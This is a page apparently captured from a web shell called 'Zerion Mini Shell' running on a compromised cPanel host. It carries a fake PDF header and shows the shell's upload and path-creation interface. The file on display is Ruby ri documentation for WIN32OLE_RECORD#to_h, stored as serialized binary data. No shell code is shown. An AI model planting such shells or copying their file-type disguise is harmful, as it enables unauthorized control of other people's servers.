%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/WIN32OLE_RECORD/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/WIN32OLE_RECORD/to_h-i.ri

U:RDoc::AnyMethod[iI"	to_h:ETI"WIN32OLE_RECORD#to_h;TF:publico:RDoc::Markup::Document:@parts[
o:RDoc::Markup::Paragraph;	[I"CReturns Ruby Hash object which represents VT_RECORD variable. ;TI"LThe keys of Hash object are member names of VT_RECORD OLE variable and ;TI"Dthe values of Hash object are values of VT_RECORD OLE variable.;To:RDoc::Markup::BlankLineo;
;	[I"@If COM server in VB.NET ComServer project is the following:;T@o:RDoc::Markup::Verbatim;	[I",Imports System.Runtime.InteropServices
;TI"Public Class ComClass
;TI"    Public Structure Book
;TI"/        <MarshalAs(UnmanagedType.BStr)> _
;TI"$        Public title As String
;TI"$        Public cost As Integer
;TI"    End Structure
;TI"+    Public Function getBook() As Book
;TI""        Dim book As New Book
;TI"*        book.title = "The Ruby Book"
;TI"        book.cost = 20
;TI"        Return book
;TI"    End Function
;TI"End Class
;T:@format0o;
;	[I"?then, the result of WIN32OLE_RECORD#to_h is the following:;T@o;;	[	I"require 'win32ole'
;TI".obj = WIN32OLE.new('ComServer.ComClass')
;TI"book = obj.getBook
;TI":book.to_h # => {"title"=>"The Ruby Book", "cost"=>20};T;
0:
@fileI"#ext/win32ole/win32ole_record.c;T:0@omit_headings_from_table_of_contents_below0I"0WIN32OLE_RECORD#to_h #=> Ruby Hash object.
;T0[I"();T@-FI"WIN32OLE_RECORD;TcRDoc::NormalClass00

Zerion Mini Shell 1.0